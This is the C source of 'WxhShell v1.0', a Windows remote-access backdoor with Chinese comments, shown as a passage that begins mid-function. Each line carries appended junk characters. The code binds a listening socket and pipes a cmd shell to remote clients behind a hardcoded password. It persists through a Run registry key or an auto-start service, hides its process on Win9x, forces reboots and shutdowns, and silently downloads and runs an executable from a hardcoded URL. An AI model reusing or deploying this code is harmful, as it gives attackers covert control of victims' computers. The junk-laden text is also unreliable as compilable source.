    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8l)^#"ySA  
    if(Boot(SHUTDOWN)) $ V}s3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .D>%-  
    else { \@tt$ m%  
    closesocket(wsh); f{ENSUtCrR  
    ExitThread(0); E Sb  
    } Elm/T]6  
    break; pdmeB  
    } L?0dZY-"  
  // 获取shell &]uhPx/  
  case 's': { ^[d)Hk}L  
    CmdShell(wsh); .GkH^9THP  
    closesocket(wsh); xS*f{5Hr8  
    ExitThread(0); &OWiA;e?f  
    break; FFP>Y*v(  
  } ~` #t?1SP  
  // 退出 op[OB=  
  case 'x': { ?JtFiw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); orEwP/L:  
    CloseIt(wsh); ?hsOhUs(5  
    break;  #*?5  
    } ;M\H#%G.  
  // 离开 ;^t<LhN:  
  case 'q': { QH#|R92:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @P[Tu; 4  
    closesocket(wsh); qnru atA  
    WSACleanup(); 4l>/6LNMF  
    exit(1); PNc^)|4^Q  
    break; m {wMzsQ  
        } obS|wTG~  
  } iK'bV<V&7  
  } \q%li)  
H@5:x8  
  // 提示信息 )2u=U9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QvjsI;CQ-  
} U0UOubA  
  } =f=MtH?0y  
9C3q4.$D  
  return; +7d%)t  
} )7O4j}B){  
f; >DM  
// shell模块句柄 7S1 Y)  
int CmdShell(SOCKET sock) 9cX ~  
{ 0|P RCq  
STARTUPINFO si; ,Q >u N  
ZeroMemory(&si,sizeof(si)); xH e<TwkI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {i`BDOaL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ImyB4welo  
PROCESS_INFORMATION ProcessInfo; j<wWPv  
char cmdline[]="cmd"; KS3 /  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YD7i6A  
  return 0; q"`1cFD  
} Y7]N.G3,]  
|jF)~k6  
// 自身启动模式  2o?!m2W  
int StartFromService(void) +'JM:};1X8  
{ ki=-0G*]  
typedef struct Tld %NE  
{ }4  5|  
  DWORD ExitStatus; WF-B=BRZ  
  DWORD PebBaseAddress; doVBVTk^  
  DWORD AffinityMask; O0';j!?X  
  DWORD BasePriority; BTgL:  
  ULONG UniqueProcessId; @T>)fKCg  
  ULONG InheritedFromUniqueProcessId; >mi%L3Pk  
}   PROCESS_BASIC_INFORMATION; wp$C J09f*  
nlw(U3@7  
PROCNTQSIP NtQueryInformationProcess; #&5m=q$EI  
_~| j~QE]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vw>O;u.]B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a~DR$^m  
j+w*Absh  
  HANDLE             hProcess; uXNJ{]o  
  PROCESS_BASIC_INFORMATION pbi; 0;} 9XZ  
aKkQXq*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vv0dBFe  
  if(NULL == hInst ) return 0; _(TavL>l =  
2< w/GX.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T/dchWG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f[!N]*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & tkkn2t  
Z"] ben  
  if (!NtQueryInformationProcess) return 0; +#A >[,U  
j'#W)dp(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9)3ok#pQ/  
  if(!hProcess) return 0; ;WO/xA-#  
)CYSU(YTD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W9t%:wF  
Dwe_ytjpc  
  CloseHandle(hProcess); tB8XnO_c  
K q: +{'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }<9*eAn`  
if(hProcess==NULL) return 0; t8E'd :pE  
6 80i?=z  
HMODULE hMod; `6?r.;wj  
char procName[255]; >-c;  
unsigned long cbNeeded; -r_z,h|  
4%aODr8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ? D2:'gg  
]SFB_5Gb  
  CloseHandle(hProcess); 90Jxn'>^  
`LEk/b1(P  
if(strstr(procName,"services")) return 1; // 以服务启动 (iIJ[{[H4)  
 # G0jMQ  
  return 0; // 注册表启动 l5l:'EY>  
} xoA\^AA  
4Fgy<^94`  
// 主模块 xbxU`2/  
int StartWxhshell(LPSTR lpCmdLine) Xd!=1 ::  
{ I)U|~N  
  SOCKET wsl; .ss/E  
BOOL val=TRUE; j$4Tot  
  int port=0; @=E@ *@g  
  struct sockaddr_in door; P"cc$lB~I  
hS OAjS  
  if(wscfg.ws_autoins) Install(); #O7|&DqF{  
&|LZ%W0Fb  
port=atoi(lpCmdLine); iL\<G} I  
&$ia#j{l  
if(port<=0) port=wscfg.ws_port; aF;Q SI  
-^Baxkq(YM  
  WSADATA data; \=?f4*4|/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Klzsr,  
XwOj`N{!H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o6P)IZ1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M@[{j  
  door.sin_family = AF_INET; hug8Hhf_&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q4JwX=ZVj  
  door.sin_port = htons(port); 5#p [Q _  
.36z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T+8F'9i`  
closesocket(wsl); }Gqx2 )H  
return 1; | y\B*P  
} MS%xOB*6  
Q|rrbxb  
  if(listen(wsl,2) == INVALID_SOCKET) { ^sY ]N77  
closesocket(wsl); Q7gBxp  
return 1; fT!n*;h  
} FZ DC?  
  Wxhshell(wsl); nzmv>s&UW  
  WSACleanup(); w&8gA[y*u  
{n2mh%I  
return 0; !G.)%+Z  
Y.Na9&-(  
} n{J<7I e"*  
o}mD1q0yE  
// 以NT服务方式启动 "<SK=W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ExqI=k`Zs  
{ hs}nI/#  
DWORD   status = 0; SWvy< f4<  
  DWORD   specificError = 0xfffffff; Cp7EJr~  
eNY$N_P   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0.4c|-n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &Y;z[+(P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r in#lu& N  
  serviceStatus.dwWin32ExitCode     = 0; &]iX>m.  
  serviceStatus.dwServiceSpecificExitCode = 0; o /AEp)8  
  serviceStatus.dwCheckPoint       = 0; -)(HG)3  
  serviceStatus.dwWaitHint       = 0; uli,@5%\  
|XzqP +t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u~=>$oT't  
  if (hServiceStatusHandle==0) return; ,~`R{,N`  
g!(j.xe  
status = GetLastError(); '9>z4G*Td  
  if (status!=NO_ERROR) xV @X%E  
{ {wiw]@c8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !U>711$  
    serviceStatus.dwCheckPoint       = 0; @5K/z<p%  
    serviceStatus.dwWaitHint       = 0; 6H\3  
    serviceStatus.dwWin32ExitCode     = status; id8a#&t]  
    serviceStatus.dwServiceSpecificExitCode = specificError; nyD(G=Q5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BY.' 0,H=k  
    return; #lRkp.e  
  } )=V0  
%,Xs[[?i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7 [N1Vr(1  
  serviceStatus.dwCheckPoint       = 0; OWT5Bjl  
  serviceStatus.dwWaitHint       = 0; 3#}5dO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?u{y[pI6  
} cd)yj&:?Bt  
%Ak"d+OH4  
// 处理NT服务事件,比如:启动、停止 X!V@jo9?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /xj^TyWM  
{ SsiAyQ|Ma  
switch(fdwControl) r%A-  
{ c&z@HEzV7  
case SERVICE_CONTROL_STOP: vG`R.  
  serviceStatus.dwWin32ExitCode = 0; _ #288`bU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .YKqYN?y4  
  serviceStatus.dwCheckPoint   = 0; @ 6w\q?.s  
  serviceStatus.dwWaitHint     = 0; w?|gJ*B"  
  { WDNuR #J?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =t\HtAXn[  
  } @2c Gx/1#  
  return; w0(A7L:L  
case SERVICE_CONTROL_PAUSE: xH#R_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u snbGkq  
  break; IF YGl  
case SERVICE_CONTROL_CONTINUE: ig3HPlC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vi[* a  
  break; EH<rUv63  
case SERVICE_CONTROL_INTERROGATE: eSHyA+ F  
  break; A q;]al  
}; 3QM6M9M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Z5ZV!  
} DS0c0lsx  
JJ[.K*dO  
// 标准应用程序主函数 H z&a~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w K0vKdi  
{ {0 d/;  
cl:h 'aG  
// 获取操作系统版本 2'UWPZgE  
OsIsNt=GetOsVer(); Rqu_[M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ('QfB<4H1  
s ki'I  
  // 从命令行安装 J@ZIW%5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 60(j[d-$p  
6OuB}*  
  // 下载执行文件 h BD .IB  
if(wscfg.ws_downexe) { H`|8x4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v#J 2yg  
  WinExec(wscfg.ws_filenam,SW_HIDE); YMx]i,u'+  
} VgLrufJ  
#lXwBfBMf  
if(!OsIsNt) { &g%9$*gmT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;DbEP.%u$  
HideProc(); xwoK#eC~ F  
StartWxhshell(lpCmdLine); ( `T;nz  
} da<B6!  
else @."_XL74  
  if(StartFromService()) PoTJ4z  
  // 以服务方式启动 6wK>SW)#&j  
  StartServiceCtrlDispatcher(DispatchTable); g93-2k,  
else L,6v!9@  
  // 普通方式启动 eK[8$1  
  StartWxhshell(lpCmdLine); `5,46_  
b8Gu<Q1k  
return 0; r&6X|2@  
} C.`C T7  
\2F{r<A\@  
NbnahhS  
LCKCg[D  
=========================================== 6z (7l  
Ud@D%?A7  
ehe hTP  
m X2i^.zH  
&[QvMh  
3fA.DK[4[  
" `F-<P%k  
=UY)U-  
#include <stdio.h> cCOw7<  
#include <string.h> g:&YSjO>G  
#include <windows.h> g{0a]'ph  
#include <winsock2.h> 5qZebD2a  
#include <winsvc.h> ;nS.t_UW.  
#include <urlmon.h> gp@X(d  
V?pqKQL0  
#pragma comment (lib, "Ws2_32.lib") YQ/  
#pragma comment (lib, "urlmon.lib") R.nAD{>h*  
dQW=k^X 'U  
#define MAX_USER   100 // 最大客户端连接数 C]/]ot0%t  
#define BUF_SOCK   200 // sock buffer vl1`s ^}R  
#define KEY_BUFF   255 // 输入 buffer $=&a 0O#  
v0psth?qV  
#define REBOOT     0   // 重启 $aIq>vJO9  
#define SHUTDOWN   1   // 关机 c:? tn  
BJA&{DMHm  
#define DEF_PORT   5000 // 监听端口 [{R^!Az&b<  
*nZe|)m  
#define REG_LEN     16   // 注册表键长度 m/M=.\]  
#define SVC_LEN     80   // NT服务名长度 rf@Cz%xDD  
C1/qiSHsh  
// 从dll定义API Y 1v9sMN,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bxU2.YC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f7&53yZF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XR2Gw 4]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p~LTu<*S  
~O|g~H5;  
// wxhshell配置信息 4G ? Cu,$  
struct WSCFG { jTSN`R9@  
  int ws_port;         // 监听端口 (tG8HwV-  
  char ws_passstr[REG_LEN]; // 口令 ~bC-0^/ 8|  
  int ws_autoins;       // 安装标记, 1=yes 0=no wAt|'wP :  
  char ws_regname[REG_LEN]; // 注册表键名 K;uO<{a)r  
  char ws_svcname[REG_LEN]; // 服务名 ]Q8[,HTG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (}!xO?NA(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \ B \G=Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ui:WbH<b{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7dxe03h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ohLM9mc9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,#/%Fn%T  
ERka l7+  
}; >oD,wSYV~  
10gh4,z[  
// default Wxhshell configuration D5Z@6RVt  
struct WSCFG wscfg={DEF_PORT, -q&K9ZCl `  
    "xuhuanlingzhe", r^g"%nq9/  
    1, 9K4]~_%h\  
    "Wxhshell", x`3F?[#l  
    "Wxhshell", ?ZF ~U  
            "WxhShell Service", {e35O(Y  
    "Wrsky Windows CmdShell Service", \}Hi\k+h':  
    "Please Input Your Password: ", >_3P6-L>  
  1, ,_wpYTl*X  
  "http://www.wrsky.com/wxhshell.exe", H^TU?vz} <  
  "Wxhshell.exe" %2q0lFdcM  
    }; 5u5-:#sLy  
=\ek;d0Tqb  
// 消息定义模块 T<a/GE/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >IT19(J;A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UR{OrNg*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [}+h86:y  
char *msg_ws_ext="\n\rExit."; Y| dw>qO  
char *msg_ws_end="\n\rQuit."; 4lp9 0sa  
char *msg_ws_boot="\n\rReboot..."; D*_Z"q_B  
char *msg_ws_poff="\n\rShutdown..."; &eA!h  
char *msg_ws_down="\n\rSave to "; r*F^8_YMK  
+sY8<y@%  
char *msg_ws_err="\n\rErr!"; z JBcz,  
char *msg_ws_ok="\n\rOK!"; +<})`(8  
6?`3zdOeO  
char ExeFile[MAX_PATH]; c*!xdK  
int nUser = 0; 6&,{"N0 T  
HANDLE handles[MAX_USER]; Jc=~BT_G  
int OsIsNt; eV5 e:9  
>LAhc7I  
SERVICE_STATUS       serviceStatus; t 3l-]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  S!Bnz(z  
<(E9U.  
// 函数声明 6Cpn::WW}  
int Install(void); 8V?*Bz-4`  
int Uninstall(void); }VU7wMk  
int DownloadFile(char *sURL, SOCKET wsh); Can:!48  
int Boot(int flag); oF(=@UL  
void HideProc(void); j6&q6C X  
int GetOsVer(void); #TG7WF 5  
int Wxhshell(SOCKET wsl); L> \/%x>Wx  
void TalkWithClient(void *cs); kJ_XG;8  
int CmdShell(SOCKET sock); [G<SAWFg7  
int StartFromService(void); FgnS+c3W(  
int StartWxhshell(LPSTR lpCmdLine); F2^qf  
AMSn^ 75  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uS|f|)U&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T/Bx3VWL  
1nZ7xCDK98  
// 数据结构和表定义 4qKMnYR  
SERVICE_TABLE_ENTRY DispatchTable[] = ETQL,t9m  
{ Xw'Y &!z  
{wscfg.ws_svcname, NTServiceMain}, IxU#x*  
{NULL, NULL} L?&Trq7i  
}; Z,QSbw@,7  
 m1#,B<6  
// 自我安装 u-k!h  
int Install(void) Ir?ehA  
{ .a_xQ]eQ  
  char svExeFile[MAX_PATH]; IKFNu9*"h  
  HKEY key; KB`">zq$u  
  strcpy(svExeFile,ExeFile); _|C T|q  
I AFj_VWC0  
// 如果是win9x系统,修改注册表设为自启动 j"4]iI+{"  
if(!OsIsNt) { hmES@^n!_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yw6d-5=:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W5U;{5  
  RegCloseKey(key); !#TM%w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k:0nj!^4w>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J,_IHzO~Z  
  RegCloseKey(key); @"vTz8oY@  
  return 0; q6T>y%|FZ  
    } Pm=i(TBS/  
  } eFz!`a^dX  
} 52v@zDY  
else { [E:-$R  
rXF=/  
// 如果是NT以上系统,安装为系统服务 (@3?JJ]1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r34 GO1d  
if (schSCManager!=0) J]gtgt^   
{ 5cZKk/"Ad}  
  SC_HANDLE schService = CreateService <=gf|(  
  ( |n~Vpy  
  schSCManager, K-6+fgeB  
  wscfg.ws_svcname, lj+}5ySG/  
  wscfg.ws_svcdisp, *<l9d  
  SERVICE_ALL_ACCESS, #(dERET*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F m$;p6&j  
  SERVICE_AUTO_START, ^!x}e+ o  
  SERVICE_ERROR_NORMAL, be(p13&od  
  svExeFile, |>Wi5h{6X  
  NULL, Y6ORI  
  NULL, QV*W#K\7q  
  NULL, qy,X#y'FuE  
  NULL, VK/i5yT5N  
  NULL Y^ ti;:  
  ); -FW'i10\2+  
  if (schService!=0) .{Df"e>  
  { >vk?wY^f  
  CloseServiceHandle(schService); 9 Xx4,#?  
  CloseServiceHandle(schSCManager); i= s>a;*#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5imqZw  
  strcat(svExeFile,wscfg.ws_svcname); a4D4*=!G0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &k0c|q]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gt:Ot0\7  
  RegCloseKey(key); ~\~XD+jy"  
  return 0; *h Bo,   
    } d A' h7D  
  } xx EcmS#>  
  CloseServiceHandle(schSCManager); 5:x .<  
} #7dM %  
} JrVBd hLr  
/u N3"m5i  
return 1; 7).zed^  
} 2apQ4)6#[H  
Dwi[aC+k  
// 自我卸载 :rX/I LAr  
int Uninstall(void) n$YCIW )0  
{ 'P,F)*kh  
  HKEY key; G[[NDK  
^bckl tSo  
if(!OsIsNt) { ]J6+nA6)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9KLhAYaq  
  RegDeleteValue(key,wscfg.ws_regname); }dSxrT  
  RegCloseKey(key); bcy( ?(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C@q&0\HN  
  RegDeleteValue(key,wscfg.ws_regname); Gj(UA1~1  
  RegCloseKey(key); n:5*Tg9  
  return 0; yi9c+w)b  
  } 6P:H`  
} ;3k6_ub  
} C%+>uzVIw  
else { `A o;xOJ  
8L}N,6gC4_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $N`uM  
if (schSCManager!=0) ?FRQ!R  
{ fl18x;^I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u#m(Py  
  if (schService!=0) BlvNBB1^  
  { !WReThq  
  if(DeleteService(schService)!=0) { ^Wz3 q-^  
  CloseServiceHandle(schService); u:7=Yy :  
  CloseServiceHandle(schSCManager); _ Oe|ZQ  
  return 0; gDJ@s    
  } UZUG ?UUM  
  CloseServiceHandle(schService); .1C|J  
  } rO`n S<G  
  CloseServiceHandle(schSCManager); ,*$/2nB^  
} tXIre-. 2}  
} Oz1ou[8k  
/+F|+1   
return 1; D7Nz3.j  
} j']Q-s(s  
pd{;`EW|  
// 从指定url下载文件 sP NAG  
int DownloadFile(char *sURL, SOCKET wsh) > AV R3b  
{ jn;b{*Lf  
  HRESULT hr; ]\:FFg_O6t  
char seps[]= "/"; {\HE'C/?  
char *token; ,As78^E{  
char *file; !%2aw0Yv  
char myURL[MAX_PATH]; UW[{Y|oE  
char myFILE[MAX_PATH]; <.<Q.z  
N#`aVW'{v2  
strcpy(myURL,sURL); .iL_3:6f  
  token=strtok(myURL,seps); K{00 V#  
  while(token!=NULL) WxS=Aip'  
  { 7#R& OQ  
    file=token; UVD::  
  token=strtok(NULL,seps); 7TQh'j   
  } S hM}w/4  
[+st?;"GF  
GetCurrentDirectory(MAX_PATH,myFILE); s=nE'/q1|  
strcat(myFILE, "\\"); ptmPO4f  
strcat(myFILE, file); Ueyt}44.e2  
  send(wsh,myFILE,strlen(myFILE),0); Q nqU!6k@  
send(wsh,"...",3,0); +C)auzY7N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _u:4y4}  
  if(hr==S_OK) 3&@MZF&  
return 0; AOaf,ZF 8  
else  N>Pufr  
return 1; 6]}Xi:I  
g/q$;cB  
} EN%Xs578  
CFh&z^]PR  
// 系统电源模块 u0J+Nj9  
int Boot(int flag) o/fq  
{ *X;g Y  
  HANDLE hToken; m`c(J1Et  
  TOKEN_PRIVILEGES tkp; ~QsQ7SAs  
::vw 1Es  
  if(OsIsNt) { ^~5tntb.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ma }Y\(38  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HC8{);  
    tkp.PrivilegeCount = 1; [21tT/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6iFd[<.*j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b['TRYc=:  
if(flag==REBOOT) { ):+H`Hcm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 79%${ajSI  
  return 0; /d >fp  
} Z3R..vy8  
else { )vS## -[_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A?;/]m;  
  return 0; rDYq]`  
} o0wep&@  
  } j86s[Dty  
  else { I01On>"@7  
if(flag==REBOOT) { i*Y/q-N|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BsB}noN}  
  return 0; U &Ay3/  
} \+MR`\|3  
else {  aG\m 3r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0{PK]qp7  
  return 0; d<6L&8)<  
} _uHyE }d  
} kQIWDN  
fINM$ 6  
return 1; [-$&pB>w8'  
} $Y,]D*|"K  
$vy.BY Fm  
// win9x进程隐藏模块 ^B& Z  
void HideProc(void) U)p2PTfB  
{ B>Nxc@=D  
oT|E\wj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z<<` 1wqg  
  if ( hKernel != NULL ) 3Ua g[ms  
  { 6XQ)Q)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 XfXMVm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }C#YR( ]  
    FreeLibrary(hKernel); 6w}:w?=6  
  } MO#%w  
m2|0<P@k!  
return; !gf&l ^)  
} 'KQu z)-  
5Cy)#Z{  
// 获取操作系统版本 VY _(0  
int GetOsVer(void) hkU# lt  
{ Ky nZzR  
  OSVERSIONINFO winfo; wOi>i`D&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5[gkGKkf_  
  GetVersionEx(&winfo); ?o.G@-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =,@SZsM*B  
  return 1; *qb`wg  
  else Op%^dwVG(v  
  return 0; u khI#:[  
} @/0aj  
6xFZv t  
// 客户端句柄模块 K.z}%a  
int Wxhshell(SOCKET wsl) e('c 9 Y  
{ "4t Ry9q  
  SOCKET wsh; *h =7:*n  
  struct sockaddr_in client; x(b&r g.-0  
  DWORD myID; $e*Nr=/  
~4`wfOvO  
  while(nUser<MAX_USER) 2%8N<GW.F  
{ cE*|8'rSf  
  int nSize=sizeof(client); ~!A,I 9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i2j)%Gc}  
  if(wsh==INVALID_SOCKET) return 1; n)K6Z{x  
AN~1E@"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6U /wFT!7$  
if(handles[nUser]==0) a|7V{pp=M  
  closesocket(wsh); +u=xBhZ  
else K5.C*|w  
  nUser++; iuHG9#n  
  } ;%jt;Xv9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /BIPLDN6  
;c>Yr ?^  
  return 0; kcYR:;y  
} M}5C;E*  
THu a?,oyW  
// 关闭 socket 7k$8i9#  
void CloseIt(SOCKET wsh) }dXL= ul  
{ z{n=G  
closesocket(wsh); r\Nn WS J  
nUser--; J5o"JRJ"  
ExitThread(0); by06!-P0[  
} _&z>Id`w  
sJ?kp^!g  
// 客户端请求句柄 7CIje=u.q  
void TalkWithClient(void *cs) Zwt!nh   
{ 8% |x)  
gEe}xI  
  SOCKET wsh=(SOCKET)cs; }%1E9u  
  char pwd[SVC_LEN]; [MEa@D<7N  
  char cmd[KEY_BUFF]; ( ~OwO_|3  
char chr[1]; d)G-K+&B  
int i,j; U=yD!  
wk/->Rz  
  while (nUser < MAX_USER) { u3ZG;ykM  
Fu`g)#Z  
if(wscfg.ws_passstr) { I&xRK'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q.|2/6hD7[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {'ZnxK'  
  //ZeroMemory(pwd,KEY_BUFF); o&AUB` .9~  
      i=0; k Z3tz?Du  
  while(i<SVC_LEN) { ;4_n:XUgo;  
~J2Q0Jv  
  // 设置超时 1=D!C lcb  
  fd_set FdRead; lR(&Wc\j  
  struct timeval TimeOut; ?SAi t Q3  
  FD_ZERO(&FdRead); fBF}-{VX(  
  FD_SET(wsh,&FdRead); i Bi/9  
  TimeOut.tv_sec=8; L9kP8&&KK  
  TimeOut.tv_usec=0; )} #r"!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LH_2oJ\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CeJ|z {F\  
 A:!{+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >r*Zm2($MR  
  pwd=chr[0]; s=nds"J  
  if(chr[0]==0xd || chr[0]==0xa) { c1 <g!Q&E  
  pwd=0; 7/1S5yUr|  
  break; ?~K2&eo  
  } P:=AD W c  
  i++; B';Ob  
    } 'I~dJEW7  
%qQ(@TG  
  // 如果是非法用户,关闭 socket 4mAtYm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Q=Zqlvz  
} _SaK]7}m!  
a9I8W Q   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {k*_'0   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qa~[fORO[  
!eq]V9  
while(1) { ^ UzF nW@a  
at*=#?M1?  
  ZeroMemory(cmd,KEY_BUFF); xpxm9ySwu  
4 5lg&oO  
      // 自动支持客户端 telnet标准   9VByFQgM  
  j=0; 4_Jdh48-d  
  while(j<KEY_BUFF) { c5;ROnTm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $>UzXhf}\  
  cmd[j]=chr[0]; Jc)1}  
  if(chr[0]==0xa || chr[0]==0xd) { Dk-L4FS  
  cmd[j]=0; c`.:"i" k3  
  break; r&[~/m8zl  
  } EyeLC6u  
  j++; HA%ye"(y8  
    } Esjv^* v9-  
W% [5~N  
  // 下载文件 O,{ (  
  if(strstr(cmd,"http://")) { (`NRF6'&1L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [jw o D  
  if(DownloadFile(cmd,wsh)) ;Ki1nq5c#s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}0Qy  
  else (Gn[T1p?  
